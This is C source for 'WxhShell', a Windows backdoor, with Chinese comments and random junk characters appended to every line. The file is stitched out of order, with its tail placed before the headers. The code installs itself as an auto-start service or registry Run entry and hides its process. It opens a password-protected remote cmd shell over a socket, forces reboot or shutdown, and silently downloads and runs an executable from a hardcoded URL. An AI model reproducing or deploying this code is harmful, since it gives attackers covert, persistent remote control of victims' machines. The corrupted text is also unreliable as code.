    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pmurG  
    if(Boot(SHUTDOWN)) lgK5E *^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>2.O2)%q  
    else { r~7}w4U  
    closesocket(wsh); mea} 9]c  
    ExitThread(0); (d,O Lng  
    } ,Csjb1  
    break; c05-1  
    } SS8$.ot  
  // 获取shell j"pyK@v2B  
  case 's': { eTw9 c }[  
    CmdShell(wsh); a+O?bO  
    closesocket(wsh); Pf?&ys6  
    ExitThread(0);  5 b,|6  
    break; i PG:w+G  
  } ]mNsG0r6  
  // 退出 `(P71T  
  case 'x': { 5.oY$tb(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TXV^f*  
    CloseIt(wsh); pStb j`Eq  
    break; |)0Ta 9~  
    } Rg46V-"d,@  
  // 离开 :f_oN3F p  
  case 'q': { luac  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f w)tWJVD  
    closesocket(wsh); 9jx>&MnWs  
    WSACleanup(); dWi.V?K4z  
    exit(1); '"LaaTTs  
    break; U,fPG/9  
        } :M`~9MCRf  
  } R3piI&u  
  } `C-8zA  
]-a/)8  
  // 提示信息 T/%Y_.NtU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 28+{  
} qx*b\6Rt  
  } 2VX9FDrnk  
2\|sXC  
  return; 2S[:mnK  
} #u\~AO?h  
4@mJEi{  
// shell模块句柄 #(a;w  
int CmdShell(SOCKET sock) u%1JdEWZd  
{ yiH;fK+x  
STARTUPINFO si; 83#<Yxk~  
ZeroMemory(&si,sizeof(si)); Ro<5c_k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "qZTgCOY2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )?l7I*  
PROCESS_INFORMATION ProcessInfo; loBW#>  
char cmdline[]="cmd"; $ER$|9)KD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pj3H4yCM:  
  return 0; If'N0^'W  
} JP ;SO  
:8N by$#V  
// 自身启动模式 /%t`0pi  
int StartFromService(void) ]z=dRq  
{ W4(  
typedef struct zc,X5R1  
{ n3eWqwQ$5  
  DWORD ExitStatus; NQiu>Sg  
  DWORD PebBaseAddress; y0) mBCX  
  DWORD AffinityMask; 5s4x%L (~}  
  DWORD BasePriority; !kh:zTP  
  ULONG UniqueProcessId; + I*a=qjq  
  ULONG InheritedFromUniqueProcessId; "dYT>w  
}   PROCESS_BASIC_INFORMATION; Ex L7 ]3r  
|GPY bxzc  
PROCNTQSIP NtQueryInformationProcess; z t!>  
h*Mi/\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L$,Kdpj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W~l.feW$i  
m>!o Yy_  
  HANDLE             hProcess; 6vU%Y_n=y]  
  PROCESS_BASIC_INFORMATION pbi; \t&8J+%  
?fc<3q"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IkGM~3e  
  if(NULL == hInst ) return 0; G \$x.  
mWLiXKnb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U:PtRSdn!b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4T){z^"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NKVLd_f k  
Q } 0_}W  
  if (!NtQueryInformationProcess) return 0; 9sv#TT5V  
gS|6,A9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T/hz23nH  
  if(!hProcess) return 0; .8[uEQ_L  
mK^E@uxN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *d 4A3|  
md/h\o&  
  CloseHandle(hProcess); Tj6Czq=*%T  
x4?g>v*J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UzV78^:,iD  
if(hProcess==NULL) return 0; _0iV6Bj  
LMp^]*)t  
HMODULE hMod; Z:,`hW*A6  
char procName[255]; ? a/\5`gnN  
unsigned long cbNeeded; gmiLjI  
ow'CwOj$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  |vBy=:  
fzN?X=  
  CloseHandle(hProcess); @ykl:K%ke  
JE eXoGKd  
if(strstr(procName,"services")) return 1; // 以服务启动 rWN%j)#+  
nM!_C-yX  
  return 0; // 注册表启动 gBXoEn]  
} gL7rX aj  
5'|W(yR}  
// 主模块 xd+aO=)Td  
int StartWxhshell(LPSTR lpCmdLine) [z'jL'\4  
{ Vf$$e)  
  SOCKET wsl; PJ<9T3Fa  
BOOL val=TRUE; }Am5b@g"$Y  
  int port=0; b4(,ls  
  struct sockaddr_in door; 7GJcg7s*T  
=9:gW5F69  
  if(wscfg.ws_autoins) Install(); zS`KJVm  
@E"lN  
port=atoi(lpCmdLine); rG%8ugap  
fY|[YPGO^  
if(port<=0) port=wscfg.ws_port; }LoMS<O-[  
_C,9c7K4  
  WSADATA data; y#/P||PM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~,x4cOdR#  
D8WKy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $gCN[%+j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xiqeKoAD  
  door.sin_family = AF_INET; "z-tL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {"|la;*I  
  door.sin_port = htons(port); j-| !QlB  
FgMQ=O2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TQQh:y  
closesocket(wsl); 00yWk_w  
return 1; SErh"~[  
} \:2z!\iP`  
jPn.w,=)27  
  if(listen(wsl,2) == INVALID_SOCKET) { rkz84wDx  
closesocket(wsl); E,Xl8rC  
return 1; VeOM `jy  
} i\x@s>@x}  
  Wxhshell(wsl); lWBewnLKE  
  WSACleanup(); f6{.Uq%SGp  
~JP3C5q  
return 0; |<uBJ-5  
`$3ktQ$  
}  6NSSuK3  
#8y"1I=i&  
// 以NT服务方式启动 (B03f$8}*_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $U pWlYwG  
{ n3$u9!|P  
DWORD   status = 0; LZQG.  
  DWORD   specificError = 0xfffffff; C u1G8t-  
n$E$@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :NB.ib@*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FU;a { irB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OLoo#HW  
  serviceStatus.dwWin32ExitCode     = 0; ]@}o"Td  
  serviceStatus.dwServiceSpecificExitCode = 0; G"".;}AV  
  serviceStatus.dwCheckPoint       = 0; KEf1GU6s  
  serviceStatus.dwWaitHint       = 0; >~tx8aI{  
\S{ihS@J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p(9[*0.};  
  if (hServiceStatusHandle==0) return; 5Fbb5`(  
4JXJ0T ar  
status = GetLastError(); X1BqN+=@9  
  if (status!=NO_ERROR) 8<@X=Z  
{ lI@Z)~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j,z)x[3}  
    serviceStatus.dwCheckPoint       = 0; 9D;ono3  
    serviceStatus.dwWaitHint       = 0; 'ITZz n*  
    serviceStatus.dwWin32ExitCode     = status; ] v:"    
    serviceStatus.dwServiceSpecificExitCode = specificError; d@zxgn7o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &%eM  
    return; vFeR)Ox's  
  } S"`{ JCW$  
7uO tdH+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s!1/Bm|_T  
  serviceStatus.dwCheckPoint       = 0; C'jCIL  
  serviceStatus.dwWaitHint       = 0; %4BQY>O)@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u#Bj#y!  
} D&]xKx  
$-<yX<.  
// 处理NT服务事件,比如:启动、停止 /AY q^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p0}Yo8?OW  
{ TJB4N$-}A  
switch(fdwControl) 1&Ma`M('  
{ NdRE,HWd?$  
case SERVICE_CONTROL_STOP: $U(D*0+o/  
  serviceStatus.dwWin32ExitCode = 0; yA7O<p+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O"_QDl<ya  
  serviceStatus.dwCheckPoint   = 0; m |.0$+=  
  serviceStatus.dwWaitHint     = 0; L:Faq1MG  
  { KvI/!hl\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hqwsgJ  
  } F)19cKx7  
  return; :R3&R CTZ  
case SERVICE_CONTROL_PAUSE: *$/Go8t4u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nhd.c2t\  
  break; %O{FZgi%wA  
case SERVICE_CONTROL_CONTINUE: D>`{f4Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qR , 5  
  break; e$mVA}>Ybp  
case SERVICE_CONTROL_INTERROGATE: j-qg{oIJ  
  break; )5Cqyp~P  
}; 0t*PQ%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #;m^DX QZn  
} n"R$b:  
Qb;]4[3  
// 标准应用程序主函数 0|4R8Dh*-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]*0t?'go'  
{ dLf ;g}W  
jASK!3pY  
// 获取操作系统版本 #X6=`Xe#  
OsIsNt=GetOsVer(); AAF;M}le,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g7eI;Tpv  
j",*&sy  
  // 从命令行安装 9mpQusM  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gr3 q  
9(bbV5}  
  // 下载执行文件 %H}M[_f  
if(wscfg.ws_downexe) { IY?o \vC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q"qJ0f)  
  WinExec(wscfg.ws_filenam,SW_HIDE); J.0&gP V  
} viVn  
*LvdrPxU=  
if(!OsIsNt) { cL"Ral-qB  
// 如果时win9x,隐藏进程并且设置为注册表启动 f1d<xGx  
HideProc(); eE{ 2{C  
StartWxhshell(lpCmdLine); )EN ,Ry  
} swhtlc@@  
else Pfm B{  
  if(StartFromService()) zS?DXE  
  // 以服务方式启动 _G)x\K]N  
  StartServiceCtrlDispatcher(DispatchTable); J/[PA[Rf  
else O:dUzZR['  
  // 普通方式启动  7re4mrC  
  StartWxhshell(lpCmdLine); t"6u  
pf3-  
return 0; >EgMtZ88.<  
} n|PW^kOE/  
4 @9cO)m  
(. ,{x)H  
I;mc:@R<  
=========================================== L_IvR 4:j~  
R7x*/?  
S @)P#  
BU^E68?G  
qmnW  
j9= )^?  
"  <XnxAA  
;i3C  
#include <stdio.h> G:MQ_tfr&  
#include <string.h> ITjg]taD  
#include <windows.h> LM".]f!,  
#include <winsock2.h> hrbeTtqi  
#include <winsvc.h> Aac7k m  
#include <urlmon.h> ' PmBNT  
1 ,6Y)_  
#pragma comment (lib, "Ws2_32.lib") #YLI"/Kn  
#pragma comment (lib, "urlmon.lib")  c$)!02  
v<?k$ e5  
#define MAX_USER   100 // 最大客户端连接数 V}4u1oG  
#define BUF_SOCK   200 // sock buffer J5\2`U_FZ  
#define KEY_BUFF   255 // 输入 buffer 6Kd,(DI  
_Tma1 ~Gq  
#define REBOOT     0   // 重启 %#7^b=;=  
#define SHUTDOWN   1   // 关机 @ds.)sKA>  
<*$IZl6I  
#define DEF_PORT   5000 // 监听端口 1.j;Xo/+:V  
ybgw#jv=  
#define REG_LEN     16   // 注册表键长度 BctU`.  
#define SVC_LEN     80   // NT服务名长度 @]%c UjQ  
6x! q  
// 从dll定义API `V Rt{p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yrR,7v J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F#7A6|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %XZdz =B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yo2n [  
1?T^jcny:M  
// wxhshell配置信息 P.]O8r  
struct WSCFG { M{U7yE6*j*  
  int ws_port;         // 监听端口 X FvPc  
  char ws_passstr[REG_LEN]; // 口令 ^g n7DiIPH  
  int ws_autoins;       // 安装标记, 1=yes 0=no EeS VY  
  char ws_regname[REG_LEN]; // 注册表键名 |'12Kv]#Xa  
  char ws_svcname[REG_LEN]; // 服务名 )Ft>X9$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v iM6q<Ht  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4031~A8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N >+L?C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [ncOtDE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pL)o@-k#%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;/.XAxkFL  
]abox%U=%  
}; twJ)h :!_y  
TZ%u;tBH:  
// default Wxhshell configuration c{s%kVOzg  
struct WSCFG wscfg={DEF_PORT, 3_+$x 4%  
    "xuhuanlingzhe", 3 ~^}R  
    1, B*j AD2  
    "Wxhshell", xQ7-4 N,  
    "Wxhshell", O U3KB  
            "WxhShell Service", Ok&u4'<  
    "Wrsky Windows CmdShell Service", 6tg0=_c  
    "Please Input Your Password: ", F;^GhiQVS  
  1, , H_Cn1l  
  "http://www.wrsky.com/wxhshell.exe", ! FVXNl  
  "Wxhshell.exe" N!&$fhY)  
    }; /`V:;  
bC@9 */i  
// 消息定义模块 tMWsgK.B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8_@#5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ju"*>66  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a,sU-w!X'  
char *msg_ws_ext="\n\rExit."; ^s&1,  
char *msg_ws_end="\n\rQuit."; 71ctjU`U2  
char *msg_ws_boot="\n\rReboot..."; lIj2w;$v  
char *msg_ws_poff="\n\rShutdown..."; n/fMq,<8  
char *msg_ws_down="\n\rSave to "; I?mU_^no  
,#P eK(  
char *msg_ws_err="\n\rErr!"; EJrn4QOs  
char *msg_ws_ok="\n\rOK!"; 3tlA! e  
7Bhi72&6  
char ExeFile[MAX_PATH]; >1=sw qa  
int nUser = 0; R8 lBh Ls  
HANDLE handles[MAX_USER];  D|[~Py  
int OsIsNt; P]4C/UDS-~  
|-c)OS3#D  
SERVICE_STATUS       serviceStatus; > ^b6\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "3"9sIZ(  
pZ,P_?  
// 函数声明 {Y! -]_ 5  
int Install(void); %usy`4 2  
int Uninstall(void); +8 avA:o  
int DownloadFile(char *sURL, SOCKET wsh); #Cda8)jl(  
int Boot(int flag); W^Jh'^E  
void HideProc(void); pbe" w=<  
int GetOsVer(void); ~97T0{E3  
int Wxhshell(SOCKET wsl); .OHjn|  
void TalkWithClient(void *cs); i-'rS/R  
int CmdShell(SOCKET sock); p<\yp<g  
int StartFromService(void); P7;=rSW  
int StartWxhshell(LPSTR lpCmdLine); E5P?(5Nv  
, wT$L 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P d@y+|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <B*}W2\  
|.x |BJ  
// 数据结构和表定义 0^Vc,\P?  
SERVICE_TABLE_ENTRY DispatchTable[] = :66xrw  
{ n"'1.  
{wscfg.ws_svcname, NTServiceMain}, D_%y&p?<Ls  
{NULL, NULL} !biq7f%6#  
}; \Ze"Hv  
5fK#*(x  
// 自我安装 7dXR/i\  
int Install(void) |@]`" k  
{ \lVxlc0{?  
  char svExeFile[MAX_PATH]; 1k2+eI  
  HKEY key; t0*JinK I  
  strcpy(svExeFile,ExeFile); D&f(h][hH?  
}| BnG"8  
// 如果是win9x系统,修改注册表设为自启动 0s"g%gq|  
if(!OsIsNt) { 5Uc!;Gd?b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V&x6ru#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?d)I!x,;;  
  RegCloseKey(key); IG?044Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gw0b>E8gZ&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ITa8*Myj  
  RegCloseKey(key); 0#~e KF y  
  return 0; 0p\cDrB ?  
    } u:r'&#jb~@  
  } H@$\SUc{  
} >1[Hk0 <x  
else { w:l/B '%]Y  
F.)b`:g  
// 如果是NT以上系统,安装为系统服务 #!d@;= [\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )J&1uMp{  
if (schSCManager!=0) T!.6@g`x>  
{ q| p6UL9  
  SC_HANDLE schService = CreateService B[:-SWd  
  ( `<>Emc8Z  
  schSCManager, kYwk'\s  
  wscfg.ws_svcname, lg_X|yhL  
  wscfg.ws_svcdisp, *Z*4L|zT  
  SERVICE_ALL_ACCESS, ,&S:(b[D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &K@2kq,  
  SERVICE_AUTO_START, &DC o;Ij;  
  SERVICE_ERROR_NORMAL, XJl2_#  
  svExeFile, W)I)QinOH  
  NULL, VkCv`E  
  NULL, :*V1jp+  
  NULL, LyM"  
  NULL, \M>}-j`v  
  NULL wehZ7eqm  
  ); ,>X +tEgR  
  if (schService!=0) H~1&hF"d  
  { ]J\tosTi  
  CloseServiceHandle(schService); Sns`/4S?6Z  
  CloseServiceHandle(schSCManager); ;C=C`$Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FBpf_=(_1  
  strcat(svExeFile,wscfg.ws_svcname); n:cre}0.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >]?!c5=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xh[De}@  
  RegCloseKey(key); J1kG'cH05  
  return 0; {S4^;Va1  
    } %dMq'j  
  } IHCEuK  
  CloseServiceHandle(schSCManager); >gqM|-uY  
} J8[N!qDCj  
} q~9Y&>D  
JAM4 R_  
return 1; )N!-g47o%#  
} SS;[{u!  
_]W {)=ap  
// 自我卸载 _Wn5* Pi%Z  
int Uninstall(void) g7G=ga  
{ $y~!ePKh  
  HKEY key; 71i".1l{K  
Ym~*5|  
if(!OsIsNt) { h^#K4/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yM(zc/?  
  RegDeleteValue(key,wscfg.ws_regname); S~auwY,<  
  RegCloseKey(key); S EdNH.|I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Y^ UP  
  RegDeleteValue(key,wscfg.ws_regname); *G)=6\  
  RegCloseKey(key); H2oAek(  
  return 0; wmu#@Hf/[h  
  } wIT0A-Por4  
} V<f76U)  
} $agd9z,&m  
else { s UX%{|T_  
i6F`KF'i&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HS!O;7s'  
if (schSCManager!=0) W ~sP7&sp  
{ #SiOx/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JA'C\  
  if (schService!=0) ZsjDe{TH  
  { PS ,@ \  
  if(DeleteService(schService)!=0) { qF!oP  
  CloseServiceHandle(schService); lc%2fVG-e  
  CloseServiceHandle(schSCManager); @ %LrpD  
  return 0; 9L+dN%C  
  } F)x^AJi e  
  CloseServiceHandle(schService); 6{/HNEI*1  
  } (h;4irfX  
  CloseServiceHandle(schSCManager); w>M8 FG(4]  
} Z>GqLq\`ed  
} k`H#u,&  
uzA"+cV5  
return 1; RGrra<  
} cTW3\S=  
f>d aK9$(  
// 从指定url下载文件 jr$]kLY  
int DownloadFile(char *sURL, SOCKET wsh) 7Ddo ^Gtx  
{ lFMQT ;  
  HRESULT hr; 0Q]@T@F.  
char seps[]= "/"; ^(5Up=.EA  
char *token; Kts#e:k@  
char *file; Y_qRW. k  
char myURL[MAX_PATH]; A1{ 7g<k6  
char myFILE[MAX_PATH]; 4,D$% .  
e RiPC  
strcpy(myURL,sURL); X"yj sk  
  token=strtok(myURL,seps); 04eE\%?  
  while(token!=NULL) tz0_S7h  
  { o/uA_19  
    file=token; E3bS Q  
  token=strtok(NULL,seps); ?2D1gjr  
  } ~V,~' W  
+k=BD s  
GetCurrentDirectory(MAX_PATH,myFILE); R7xKVS_MP  
strcat(myFILE, "\\"); D,FX&{TYU  
strcat(myFILE, file); 6ybpPls  
  send(wsh,myFILE,strlen(myFILE),0); 7]}n 0*fe  
send(wsh,"...",3,0); )m . KV5K!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }cDw9;~D  
  if(hr==S_OK) YKF5|;}  
return 0; EjZ_|Q  
else ? OrRTRW  
return 1; j*uc$hC"  
5r#0/1ym!  
} KjK.Sv{N  
O>P792)  
// 系统电源模块 y#%*aV}|B  
int Boot(int flag) [T8BQn!  
{ 2)O-EAn  
  HANDLE hToken; X%ii z  
  TOKEN_PRIVILEGES tkp; W( O)J$j  
~N{ 7  
  if(OsIsNt) { tqdw y.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6I,^4U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !JZ)6mtlr  
    tkp.PrivilegeCount = 1; v(uYso_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tPDd~fOk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E1p?v!   
if(flag==REBOOT) { ;MD6iBD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 07L >@Gf  
  return 0; !U}dYB:O  
} p#['CqP8  
else { I)@b#V=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {<\[gm\X  
  return 0; D]NfA2B7  
} Ns^[Hb[b'  
  } @EPO\\C"f  
  else { kB41{Y -  
if(flag==REBOOT) { ) `u)#@x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :nk$?5ib  
  return 0; ^SdorPOq&  
} Aw]W-fx  
else { ^pAgo B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s,KE,$5F   
  return 0; K,pQ11J  
} B2}|b^'I  
} $:v!*0/  
D;~c`G "f  
return 1; (]*otVJ  
} B?;!j)FUtt  
-b?yzg, 8  
// win9x进程隐藏模块 !1g2'  
void HideProc(void) OQ,KQ\  
{ '"# W!p  
Oy> V/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =!@5!  
  if ( hKernel != NULL ) lwY2zX&%)/  
  { !G`7T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )0RznFJ+X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *U[Nn5#?  
    FreeLibrary(hKernel); o;d><  
  } az5 $.  
d&z^u.SY  
return; 6xFvu7L_c;  
} Vh%=JL sK  
Sdk:-Zuv  
// 获取操作系统版本 @wzzI 7}C  
int GetOsVer(void) dnZA+Pa  
{ x *p>l !  
  OSVERSIONINFO winfo; jB"?iC.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w=ZSyT-i  
  GetVersionEx(&winfo); `V(z z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n"p|tEK  
  return 1; =TTk5(m  
  else m2j&v$  
  return 0; 7U:-zfq  
} "r:i  
L)0j&  
// 客户端句柄模块 -F7GUB6B  
int Wxhshell(SOCKET wsl) ]HpKDb0+  
{ ~M>EB6  
  SOCKET wsh; PNjZbOmzS  
  struct sockaddr_in client; ]Wn^m+  
  DWORD myID; R]s\s[B  
o~ v   
  while(nUser<MAX_USER) S 54N  
{ UUE:>[,  
  int nSize=sizeof(client); fj/sN HU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "kYzgi  
  if(wsh==INVALID_SOCKET) return 1; -uE2h[X|  
%syFHUBw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gM0^k6bB8  
if(handles[nUser]==0) m!Iax]D{  
  closesocket(wsh); :^G;`T`L  
else ~^6[SbVb  
  nUser++; BdK2I!mm  
  } $r>\y (W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U}6F B =  
U c6]]Bbc  
  return 0; UG]]Vk1d]  
} *%{  
p1-bq:  
// 关闭 socket -zzM!1@F  
void CloseIt(SOCKET wsh) m|7lDfpb  
{ %lr<;   
closesocket(wsh); POnI&y]  
nUser--; rh8.kW-K_  
ExitThread(0); L\:f#b~W  
} c`hj^t  
^KBE2C  
// 客户端请求句柄 x/7d!>#;  
void TalkWithClient(void *cs) kLr6j-X  
{ 8Wa&&YTB  
?r`UBR+[  
  SOCKET wsh=(SOCKET)cs; .U66Uet>RX  
  char pwd[SVC_LEN]; oAMB}a;  
  char cmd[KEY_BUFF]; &TpzJcd"  
char chr[1]; DgJG: D{  
int i,j; Cb{n4xKW6  
EB/.M+~a  
  while (nUser < MAX_USER) { ;AFF7N>&  
3#IU^6l:1S  
if(wscfg.ws_passstr) { -y@5% _-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v,\2$q/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *jBn ^  
  //ZeroMemory(pwd,KEY_BUFF); ,%|$# g 0  
      i=0; %(EUZu2  
  while(i<SVC_LEN) { liYR8D |  
:s Mc}k?9S  
  // 设置超时 q}nL'KQ,n  
  fd_set FdRead; jq4'=L$4  
  struct timeval TimeOut; =<_ei|ME  
  FD_ZERO(&FdRead); m4U7{sE  
  FD_SET(wsh,&FdRead); ~-"<)XPe  
  TimeOut.tv_sec=8; Jkc1ih`^  
  TimeOut.tv_usec=0;  N+<`Er  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xk1pZQ8c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o9tvf|+z  
g{`rWKj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HuX{8nl a  
  pwd=chr[0]; [7QIpt+FSo  
  if(chr[0]==0xd || chr[0]==0xa) { Dn[iA~  
  pwd=0; ?\HXYCi0r  
  break; HxC_n h  
  } &DqeO8?Q  
  i++; 9$9Pv%F:j  
    } BjT0m k"P  
(Ea)`'/  
  // 如果是非法用户,关闭 socket kUl:Yj=&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G1Qc\mp  
} ]"Do%<  
q><E?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nDR)UR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }tH$/-qnJE  
D@Zb|EI%<  
while(1) { ~%6GF57gC  
jLULf+ 8&  
  ZeroMemory(cmd,KEY_BUFF); w3^>{2iqq  
29 +p|n  
      // 自动支持客户端 telnet标准   &{s`=IeN  
  j=0; Min^EAG@  
  while(j<KEY_BUFF) { mUj=NRq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G<1awi  
  cmd[j]=chr[0]; w$JG:y#  
  if(chr[0]==0xa || chr[0]==0xd) { AZmABl  
  cmd[j]=0; RVxlN*  
  break; it2@hZc5  
  } NqsIMCl  
  j++; 4{d`-reHg  
    } oGzZ.K3 A  
X-F|&yE~<  
  // 下载文件 U]!D=+  
  if(strstr(cmd,"http://")) { oG! S(95  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !6t ()]  
  if(DownloadFile(cmd,wsh)) c'=p4Fcm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J%?'Q{  
  else V 0<>Xo%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t^h {D   
  } m6P!#=a:l<  
  else { r)jj]$0  
/aepE~T  
    switch(cmd[0]) { %N!2 _uk5  
  NX?J  
